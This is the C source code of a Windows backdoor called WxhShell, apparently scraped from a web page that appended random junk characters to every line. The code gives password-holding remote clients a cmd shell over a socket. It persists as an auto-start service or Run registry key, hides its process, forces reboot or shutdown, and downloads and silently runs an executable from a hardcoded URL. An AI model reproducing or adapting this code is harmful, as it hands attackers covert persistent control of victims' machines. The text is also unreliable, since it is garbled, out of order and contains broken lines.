    } 8W;xi:CC  
    break; "/Om}*VhD  
    } 0r0c|*[+4z  
  // 关机 1;aF5~&  
  case 'd': { qw|JJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q! Kn|mnN  
    if(Boot(SHUTDOWN)) R$Zv0a&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mm "Wk  
    else { ``+c`F?5  
    closesocket(wsh); 4 #aqz9k  
    ExitThread(0); Cca6L9%  
    } y!SF/i?Py  
    break;  dhZ Zb  
    } oDz*~{BHg  
  // 获取shell HmhUc,EC  
  case 's': { "|F. 'qZrm  
    CmdShell(wsh); tp#Z@5=  
    closesocket(wsh); a_Z.J3  
    ExitThread(0); anK[P'Y  
    break; cT_uJbP+  
  } 3aEt>x  
  // 退出 {-o7w0d_  
  case 'x': { 6 M*b6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B{;11 u  
    CloseIt(wsh); EfFj!)fz  
    break; +xn&K"]:3  
    } tceIA8d6  
  // 离开 V/`#B$6  
  case 'q': { M_qP!+Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9@( O\xr  
    closesocket(wsh); _2]e1_=  
    WSACleanup(); kSLSxfR  
    exit(1); I h5/=_n  
    break; )WaX2uDA?  
        } sXSj OUI  
  } JCM)N8~i  
  } M7`UoTc+>d  
bq c;.4$  
  // 提示信息 Sja"(sJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p3V9ikyy  
} [P.@1mV  
  } w;lx:j!Vp$  
9QX&7cs&[  
  return; EZ:I$X  
} 1j oc<EI  
sqm%iyC=q  
// shell模块句柄 RA*_&Ll&!C  
int CmdShell(SOCKET sock) ] +}:VaeA  
{ R=2 gtW"r  
STARTUPINFO si; E`oSi ez)  
ZeroMemory(&si,sizeof(si)); ~*66 3pA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @)aXNQY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >xxXPvM<`  
PROCESS_INFORMATION ProcessInfo; yC9:sQ'k  
char cmdline[]="cmd"; h1Ke$#$6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N&R '$w  
  return 0; ,gAr|x7_  
} !mw{T D  
 @oe3i  
// 自身启动模式 +=n x|:no  
int StartFromService(void) Mft0D j/  
{ cHqvkN`  
typedef struct GQYtH#  
{ b?+ Yo>yF8  
  DWORD ExitStatus; &5kjjQ*HB  
  DWORD PebBaseAddress; kMwIuy  
  DWORD AffinityMask; @Z3[ c[D)9  
  DWORD BasePriority; )w }*PL  
  ULONG UniqueProcessId; 1CF7  
  ULONG InheritedFromUniqueProcessId; [*mCa:^  
}   PROCESS_BASIC_INFORMATION; IkE'_F  
oHP >v_ X  
PROCNTQSIP NtQueryInformationProcess; ; @[.$Q@I  
1xFhhncf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h0y\,iWXb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b&|YQW} ~  
} (GQDJp  
  HANDLE             hProcess; e>)}_b  
  PROCESS_BASIC_INFORMATION pbi; ~' PS|  
2Wc;hJ.1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l*m]2"n]  
  if(NULL == hInst ) return 0; hg86#jq%  
=8VJ.{xy_e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ];wohW%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1W6n[Xg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sDh6 Uk  
c,[qjr#\>  
  if (!NtQueryInformationProcess) return 0; %]P@G^Bv  
`OF ;>u*:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  onS{  
  if(!hProcess) return 0; TF ([yZO'  
JOE{&^j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H$($l<G9C  
A%sxMA!K,  
  CloseHandle(hProcess); A=2nj  
,_X,V!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]cO$E=W  
if(hProcess==NULL) return 0; ,y{fqa4  
HWao3Lz  
HMODULE hMod; |SJ% _#=i  
char procName[255]; KG./<"c  
unsigned long cbNeeded; Lu$:,^ C  
G%x,t -  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w|U@jr*H]  
a!6OE"?QQ  
  CloseHandle(hProcess); U:\oGa84A  
d ;Gm{g#  
if(strstr(procName,"services")) return 1; // 以服务启动 EXM/>PG  
!nD[hI8P  
  return 0; // 注册表启动 oCru5F  
} $@ #G+QQ_  
(^OC%pc  
// 主模块 6T'43h. :  
int StartWxhshell(LPSTR lpCmdLine) 3By>t!~Q  
{ "9Fv!*<-W  
  SOCKET wsl; @0x.n\M_  
BOOL val=TRUE; tGy%n[ \  
  int port=0; vXWESy  
  struct sockaddr_in door; Dqo:X`<bT  
qi5>GX^t]b  
  if(wscfg.ws_autoins) Install(); g_U*_5doA  
]8j5Ou6#y  
port=atoi(lpCmdLine); 1oVDOo  
uC$4TnoQx.  
if(port<=0) port=wscfg.ws_port; 1PjX:]:  
XS~w_J#q  
  WSADATA data; 9$w)_RX9W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?9.?w-Q'  
@X / =.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :$@zX]?M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y~\xWYR  
  door.sin_family = AF_INET;  kc/H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KgkB)1s@n  
  door.sin_port = htons(port); LSOwa  
3 mMdq*X5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a*ixs'MJ  
closesocket(wsl); O8}s*}]  
return 1; U";Rp&\3;  
} }lbx  
&[\arwe)  
  if(listen(wsl,2) == INVALID_SOCKET) { N pIlQaMo4  
closesocket(wsl); F u=VY{U4  
return 1; i3\oy`GJ  
} G}OrpPP  
  Wxhshell(wsl); ZCq\Zk1O&  
  WSACleanup(); mgl' d  
k/f_@8  
return 0; m>m`aLrnb  
+GEKg~/4e  
} :<|fZa4!"  
TOP'Bmb  
// 以NT服务方式启动 >L3p qK   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S6Xw+W02  
{ S)1:*>@  
DWORD   status = 0; @n y{.s+  
  DWORD   specificError = 0xfffffff; +hYmL Sq  
'3 ,JL!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -cS4B//IK8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O&1p2!Bk4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "e?#c<p7  
  serviceStatus.dwWin32ExitCode     = 0; lIT2 AFX+  
  serviceStatus.dwServiceSpecificExitCode = 0; p~y 4q4  
  serviceStatus.dwCheckPoint       = 0; yOm6HA``hT  
  serviceStatus.dwWaitHint       = 0; k$m X81  
[&59n,R`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vTa23YDW  
  if (hServiceStatusHandle==0) return; ]-]@=qYu  
206jeH9  
status = GetLastError(); _34YH5  
  if (status!=NO_ERROR) #k]0[;1os  
{ A.*nDl`H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Hqy>!1 !  
    serviceStatus.dwCheckPoint       = 0; V'#u_`x"D)  
    serviceStatus.dwWaitHint       = 0; }C1}T}U  
    serviceStatus.dwWin32ExitCode     = status; 9d|7#)a;  
    serviceStatus.dwServiceSpecificExitCode = specificError; gM:oP.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [<yUq zm  
    return; {nWtNyJpS  
  } D%}o26K.C  
   r3K:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x=<>%m5R  
  serviceStatus.dwCheckPoint       = 0; W_lNvzag  
  serviceStatus.dwWaitHint       = 0; t$Ji{t-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0L-g'^nn  
} MA QY/s~F  
*/qc%!YV9  
// 处理NT服务事件,比如:启动、停止 DO*C]   
VOID WINAPI NTServiceHandler(DWORD fdwControl) B_1u<00kg  
{ IWd*"\L  
switch(fdwControl) ,S K6*tpI  
{ S5p\J!k\B  
case SERVICE_CONTROL_STOP: S;kc{?   
  serviceStatus.dwWin32ExitCode = 0; %zVv3p:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DEuW'.o>  
  serviceStatus.dwCheckPoint   = 0; -i gZU>0B_  
  serviceStatus.dwWaitHint     = 0; T+( A7Qrx%  
  { a,\u|T:g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TW? MS em  
  } ;0{*V5A  
  return; ,RH986,6V  
case SERVICE_CONTROL_PAUSE: `{;&Qcg6m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :O=Vr]Y8K  
  break; (S{c*"}2  
case SERVICE_CONTROL_CONTINUE: 8z v6Mx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mSp7H!  
  break; NX/)Z&Fx:  
case SERVICE_CONTROL_INTERROGATE: !7|9r$  
  break; b8Sl3F?-~  
}; u>@G:kt8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |EA1+I.&x  
} %ua5T9H Z  
$^GnY7$!>  
// 标准应用程序主函数 8`<GplO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :RG6gvz  
{ $9$NX/P  
gW%(_H mX  
// 获取操作系统版本 a2n#T,kq&  
OsIsNt=GetOsVer(); 6ng9 o6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X:bgY  
 yFv3>\  
  // 从命令行安装 Tl-B[CT  
  if(strpbrk(lpCmdLine,"iI")) Install(); cVi CWc2  
;pYk+r6Cr  
  // 下载执行文件 qN(; l&Q  
if(wscfg.ws_downexe) { pm|]GkM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3j#F'M)s{  
  WinExec(wscfg.ws_filenam,SW_HIDE); *2hzReM  
} Cl=ExpX/O  
~Y[b QuA=)  
if(!OsIsNt) { }x-8@9S~z  
// 如果时win9x,隐藏进程并且设置为注册表启动 L@uKE jR  
HideProc(); xEqrs6sR  
StartWxhshell(lpCmdLine); eZo%q,L  
} ObnB6ShKi  
else \`&fr+x  
  if(StartFromService()) b9jm= U  
  // 以服务方式启动 wVX0!y6  
  StartServiceCtrlDispatcher(DispatchTable); ^|z>NV5>  
else Ac%K+Pgk.  
  // 普通方式启动 vN+!l3O  
  StartWxhshell(lpCmdLine);  }2"k:-g  
nIT=/{oyi  
return 0; *O2j<3CHf  
} uLht;-`{n  
r 6<}S(  
$tJJ >"  
D:0PppE  
=========================================== (6b%;2k  
GW#Wy=(_  
UNae&Zir  
2sH5<5G'  
.`9KB3  
Mf"B!WU>]B  
" stScz#!  
 (w fZ!  
#include <stdio.h> =XB)sC%  
#include <string.h> bv0 %{u&  
#include <windows.h> I Cs1=  
#include <winsock2.h> vhW '2<(  
#include <winsvc.h> V2X(f6v  
#include <urlmon.h> -fv.ByyA  
J %t1T]y~  
#pragma comment (lib, "Ws2_32.lib") jrR~V* :k  
#pragma comment (lib, "urlmon.lib") ycN_<  
I._=q  
#define MAX_USER   100 // 最大客户端连接数 i)ctrdP-  
#define BUF_SOCK   200 // sock buffer =r2d{  
#define KEY_BUFF   255 // 输入 buffer  ?auiq  
fy eS )  
#define REBOOT     0   // 重启 ]Ea6Z  
#define SHUTDOWN   1   // 关机 .nN7*))Fj  
~%ZO8X:^  
#define DEF_PORT   5000 // 监听端口 %K4-V5f  
iD~s,  
#define REG_LEN     16   // 注册表键长度 hb{(r@[WHv  
#define SVC_LEN     80   // NT服务名长度 bB["Qd}Q  
lHU$A;  
// 从dll定义API YDwns  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +gkB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g`1i[Iu2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B(5g&+{Lq~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h2nyP  
|qD<h  
// wxhshell配置信息 s.U p<Rw  
struct WSCFG { o/xE O=AW  
  int ws_port;         // 监听端口 [F$3mzx  
  char ws_passstr[REG_LEN]; // 口令 9UZX+@[F  
  int ws_autoins;       // 安装标记, 1=yes 0=no ()Z$j,2  
  char ws_regname[REG_LEN]; // 注册表键名 ]c D!~nJ  
  char ws_svcname[REG_LEN]; // 服务名 4{_5z7ody  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RXDk8)^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w,&RHQB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N'StT$(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TBzM~y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^AN9m]P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _\6-]  
R;%iu0  
}; %A Fy{l  
R?(j#bk  
// default Wxhshell configuration GUxhCoxb  
struct WSCFG wscfg={DEF_PORT, 6ZE] 7~X  
    "xuhuanlingzhe", N78Ev7PN  
    1, W*0KAC`m  
    "Wxhshell", z{ 8!3>:E  
    "Wxhshell", ]5/C"  
            "WxhShell Service", &1&*(oi]X  
    "Wrsky Windows CmdShell Service", $FoNEr&q  
    "Please Input Your Password: ", 9"rATgN1  
  1, px*MOHq K  
  "http://www.wrsky.com/wxhshell.exe", l[x wH 9'  
  "Wxhshell.exe" -;v:. [o.  
    }; 9M6&+1XE  
8447hb?W$  
// 消息定义模块 @RC_Ie=#)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A U](pXK;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e :#\Oh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @RjLDj+)S  
char *msg_ws_ext="\n\rExit."; v{9eEk1  
char *msg_ws_end="\n\rQuit."; })":F  
char *msg_ws_boot="\n\rReboot..."; ^6=nL<L  
char *msg_ws_poff="\n\rShutdown..."; SFjN 5u  
char *msg_ws_down="\n\rSave to "; q&vr;f B2  
j<c_*^/'9  
char *msg_ws_err="\n\rErr!"; T M+7>a$  
char *msg_ws_ok="\n\rOK!"; tP\Utl-0  
{0|^F!1z  
char ExeFile[MAX_PATH]; gP} M\3-O  
int nUser = 0; ,T]okN5uI  
HANDLE handles[MAX_USER]; $I.'7 &h;  
int OsIsNt; FY'f{gD^  
7}Gy%SJ`  
SERVICE_STATUS       serviceStatus; |Qm 7x[i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YRK4l\_`  
=hA/;  
// 函数声明 oyUf/ Sl  
int Install(void); 6|zA,-=  
int Uninstall(void); 0P|WoC X  
int DownloadFile(char *sURL, SOCKET wsh); X/Ae-1!  
int Boot(int flag); :G!Kaa,r  
void HideProc(void); lHx$F ?  
int GetOsVer(void); ]'"$qm:  
int Wxhshell(SOCKET wsl); }&=C*5JN  
void TalkWithClient(void *cs); fE(rDQI  
int CmdShell(SOCKET sock); ,QK>e;:Be  
int StartFromService(void); q|~9%Pujg  
int StartWxhshell(LPSTR lpCmdLine); j,~h:MT  
H)5]K9D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )T^hyi$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZY83, :<  
*_ "j"{  
// 数据结构和表定义 pvX\k X3}  
SERVICE_TABLE_ENTRY DispatchTable[] = 6 ,!]x>B  
{ )msqt!Ev  
{wscfg.ws_svcname, NTServiceMain}, :5ji.g* 0  
{NULL, NULL} r!;NH3 *  
}; !a  /  
+;vfn>^!b  
// 自我安装 /V,:gLpQ  
int Install(void) 8 }-"&-X  
{ WKN\* N<  
  char svExeFile[MAX_PATH]; ,ujoGSx}  
  HKEY key; =ahD'*R^A  
  strcpy(svExeFile,ExeFile); -gzk,ymp  
Pd>hd0!.%  
// 如果是win9x系统,修改注册表设为自启动 _Ab|<!a/R  
if(!OsIsNt) { C,Ch6Ph  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A;h~Fx6s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :}Z+K*%o-  
  RegCloseKey(key); -\>Xtix^-c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4B) prQ3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !.9NJ2'8  
  RegCloseKey(key); L='GsjF0}  
  return 0; KX{S8_  
    } &7;W=uF  
  } w* v%S   
} NJ3b Oq  
else { QH+Oi&xH  
Pj^6.f+  
// 如果是NT以上系统,安装为系统服务 a 6[bF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [&e}@!8O`  
if (schSCManager!=0) oM J5;  
{ g,\<fY+ 4  
  SC_HANDLE schService = CreateService m,'u_yK  
  ( Z x3m$.8  
  schSCManager, w!h!%r  
  wscfg.ws_svcname, [$B  
  wscfg.ws_svcdisp, SFTThM]8M1  
  SERVICE_ALL_ACCESS, HuG|BjP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gV A$P  
  SERVICE_AUTO_START, KN5.2pp  
  SERVICE_ERROR_NORMAL, {eS!cZJ  
  svExeFile, oveW)~4  
  NULL, nNf/$h#;O  
  NULL, o: qB#8X  
  NULL, \T>f+0=4  
  NULL, \!`*F :7]-  
  NULL gJ:Z7b  
  ); jytfGE:  
  if (schService!=0) ZfS-W&6Z  
  { {,,w5/k^  
  CloseServiceHandle(schService); 6:@tHUm  
  CloseServiceHandle(schSCManager); uS3J^=>@(a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @va6,^)  
  strcat(svExeFile,wscfg.ws_svcname); 7|*|xLrVY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]^R;3kU4Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D[ny%9 :  
  RegCloseKey(key); "J$vt`  
  return 0; wtaeF+u-R-  
    } dnH?@ K  
  } .Q4EmpByCg  
  CloseServiceHandle(schSCManager); yo3'\I  
} BoXQBcG]w  
} 5yuR[ VU  
njX!Ez  
return 1; 6*Rz}RQ  
} Jv a&"}Cb  
[Cvo^cC  
// 自我卸载 hK3?m.> "g  
int Uninstall(void) \ c9EE-  
{ VQ2)qJ#l  
  HKEY key;  weKwBw  
.(ki(8Z N  
if(!OsIsNt) { ~}(}:#>T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M{Wla 7  
  RegDeleteValue(key,wscfg.ws_regname); nTyK Z(#u  
  RegCloseKey(key); Ub%5# <k|-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v~9PS2  
  RegDeleteValue(key,wscfg.ws_regname); >}Za)  
  RegCloseKey(key); O$<kWSC  
  return 0; BNnGtVAbZ  
  } R=xT\i{4h  
} H4MFTnJ{  
} skf7Si0z  
else { &dH/V-te  
y>UM~E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _}8O15B|  
if (schSCManager!=0) PH^AT<U:T  
{ !D!Q]M5oU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eE '\h  
  if (schService!=0) +m^ gj:yL  
  { QQj)"XJ29  
  if(DeleteService(schService)!=0) { ?v \A&d  
  CloseServiceHandle(schService); IR(qjm\V  
  CloseServiceHandle(schSCManager); Lp.,:z7  
  return 0; $<OX\f%  
  } GFB(c  
  CloseServiceHandle(schService); :D""c*  
  } i]JD::P_H  
  CloseServiceHandle(schSCManager); c=0S]_  
} E.R,'Y;x  
} Ivmiz{Oii  
lQ {k  
return 1; oYG9i=lZ  
} KY~p>Jmh  
TmxhP nJ~  
// 从指定url下载文件 qH1[Bs Ox  
int DownloadFile(char *sURL, SOCKET wsh) 4$oNh)+/h  
{ 40w,:$  
  HRESULT hr; N7v7b<6  
char seps[]= "/"; Tu"bbc  
char *token; bH%k)  
char *file; b3N1SC:Wn  
char myURL[MAX_PATH]; SxI='z_S.f  
char myFILE[MAX_PATH]; -W38#_y/\  
omevF>b;  
strcpy(myURL,sURL); MqDz cB]  
  token=strtok(myURL,seps); '_N~PoV  
  while(token!=NULL) .B_LQ;0:   
  { jdqVS@SD  
    file=token; JR] /\(  
  token=strtok(NULL,seps); l 8qCg/ew  
  } O~?H\2S  
1tw>C\  
GetCurrentDirectory(MAX_PATH,myFILE); QpxRYv  
strcat(myFILE, "\\"); % put=I  
strcat(myFILE, file); |`B*\\1  
  send(wsh,myFILE,strlen(myFILE),0); ^lud2x$O^C  
send(wsh,"...",3,0); S:aAR*<6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [#hpWNez(>  
  if(hr==S_OK) "%ou'\}  
return 0; !W4A 9Th  
else O9?t,1  
return 1; A/ZZ[B-  
`K5Lp>=R  
} a~ sU  
iI\ bD  
// 系统电源模块 pBl'SQccp  
int Boot(int flag) awxzP*6  
{ O< [h  
  HANDLE hToken; K9O%SfshF  
  TOKEN_PRIVILEGES tkp; xVw9_il2a  
5#|D1A  
  if(OsIsNt) { X$Eg(^La  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cLhHGwX=x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u5zL;C3O  
    tkp.PrivilegeCount = 1; {BPNb{dBKr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?&A)%6` ~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w*#B_6bG  
if(flag==REBOOT) { }x!=F<Q!r  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]z3!hgTj  
  return 0; @{/GdB,}  
} IC"lsNq52  
else { r:;nv D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ya~*e;CW2  
  return 0; F/O5Z?C?  
} &BTgISYi  
  } i82sMN1jl7  
  else { 9BR/zQ2  
if(flag==REBOOT) { R. :~e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3kqO5+,C  
  return 0; KTLq~Ru  
} fz>3  
else { 3lr9nBR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u*}[fQ`aF  
  return 0; ]6s7?07m4  
} 8.JFQ/) i  
} $[(amj-;l  
'C[{cr.`  
return 1; eV(nexE  
} [u*-~(  
0n dk=V  
// win9x进程隐藏模块 ]]Bq te  
void HideProc(void) 6="Qwrk  
{ 0SS,fs<w3  
Lsu_ f'p0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >%6a$r~@  
  if ( hKernel != NULL ) ]cQYSN7!SY  
  { fGdT2}gd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mv1g2f+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JJC Y M  
    FreeLibrary(hKernel); xD.Uh}:J  
  } +>bm~6  
/6fa 7;  
return; =:fN  
} U~3uu &/r  
 >;qAj!'  
// 获取操作系统版本 Q' b@5o  
int GetOsVer(void) 9!XXuMWU<  
{ /FJ.W<hw  
  OSVERSIONINFO winfo; :<}1as! eo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "kb[}r4?  
  GetVersionEx(&winfo); ~?6M4!u   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~W/|RP7S  
  return 1; IN^dJ^1+  
  else LI~ofCp  
  return 0; ^+ J3E4  
} =`st1K  
X mb001  
// 客户端句柄模块 qQN|\u+co  
int Wxhshell(SOCKET wsl) %m/W4Nk  
{ }R&5Ye  
  SOCKET wsh; t GS>f>i  
  struct sockaddr_in client; t/$:g9V%FA  
  DWORD myID; s2Rg-:7  
@"h @4q/W  
  while(nUser<MAX_USER) Yq~$p Vgf  
{ Qxb%P<`u  
  int nSize=sizeof(client); f[ 'uka.U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3*(w=;y  
  if(wsh==INVALID_SOCKET) return 1; pLdZB9oD]C  
9M12|X\]8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~7 w"$H8  
if(handles[nUser]==0) kO3N.t@n  
  closesocket(wsh); x& a<u@[wa  
else M7`iAa.}  
  nUser++; e0Jz|?d=  
  } `*Ju0)g1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1Zo"Xb  
8pXului  
  return 0; /LK,:6  
} 2%Mgg,/~  
D$?}M>  
// 关闭 socket [ !<  
void CloseIt(SOCKET wsh) 0Z4o3r[  
{ -bP_jIZF;g  
closesocket(wsh); uN;]Fv@Z  
nUser--; O~*`YsL9  
ExitThread(0); P->.eo#VG  
} hU|TP3*  
gm8FmjZtf  
// 客户端请求句柄 'kb|!  
void TalkWithClient(void *cs) -\|S=< g  
{ K@<%Vc>L(  
3;%dn \ D  
  SOCKET wsh=(SOCKET)cs; 360b`zS  
  char pwd[SVC_LEN]; Wm^RfxgN/  
  char cmd[KEY_BUFF]; KD=W(\  
char chr[1]; o4t6NDa  
int i,j; UJ?qGOM3x>  
w,x'FZD  
  while (nUser < MAX_USER) { P1_ZGeom*  
(#K u`  
if(wscfg.ws_passstr) { o;"Phc.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PdD,~N#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ($T"m-e  
  //ZeroMemory(pwd,KEY_BUFF); elDt!9Pu  
      i=0; _&R lR  
  while(i<SVC_LEN) { #qDMUN*i  
(:r80:  
  // 设置超时 %~rXJrK  
  fd_set FdRead; MJ_]N+  
  struct timeval TimeOut; )|N_Q}  
  FD_ZERO(&FdRead); V`& O`  
  FD_SET(wsh,&FdRead); i"RBk%  
  TimeOut.tv_sec=8; g4f:K=5:  
  TimeOut.tv_usec=0; 8`B]UcL)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;) XB'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MO-7y p:K  
MO%kUq|pg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6 k+4R<  
  pwd=chr[0]; ^~DDl$NH  
  if(chr[0]==0xd || chr[0]==0xa) { &|YJ?},  
  pwd=0; cVf}8qf)  
  break; x_oiPu.V  
  } ^W%#Elf)  
  i++; 5DS'22GW`  
    } ,a'Y^[4k?  
vE{L`,\ q  
  // 如果是非法用户,关闭 socket dxi5p!^^9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); krMO<(x+  
} 0^9%E61YR  
k];NTALOG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sL!+&Id|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @<ILF69b  
2Fc>6]:*  
while(1) { Yaix\*II  
kK~,? l  
  ZeroMemory(cmd,KEY_BUFF); %DhM}f  
hCpcX"wND  
      // 自动支持客户端 telnet标准   Nv5)A=6#AA  
  j=0; =;(y5c  
  while(j<KEY_BUFF) { %CIRN}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yllEg9L0z  
  cmd[j]=chr[0]; W|CZA  
  if(chr[0]==0xa || chr[0]==0xd) { W,f XHYst  
  cmd[j]=0; ?aWMU?S  
  break; <c.8f;1F  
  } gGE&}EoLU  
  j++; $(fhO   
    } .K`EflN  
wCgi@\  
  // 下载文件 {'a|$u+  
  if(strstr(cmd,"http://")) { {$QkerW3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~-f"&@){,  
  if(DownloadFile(cmd,wsh)) -*[:3%  
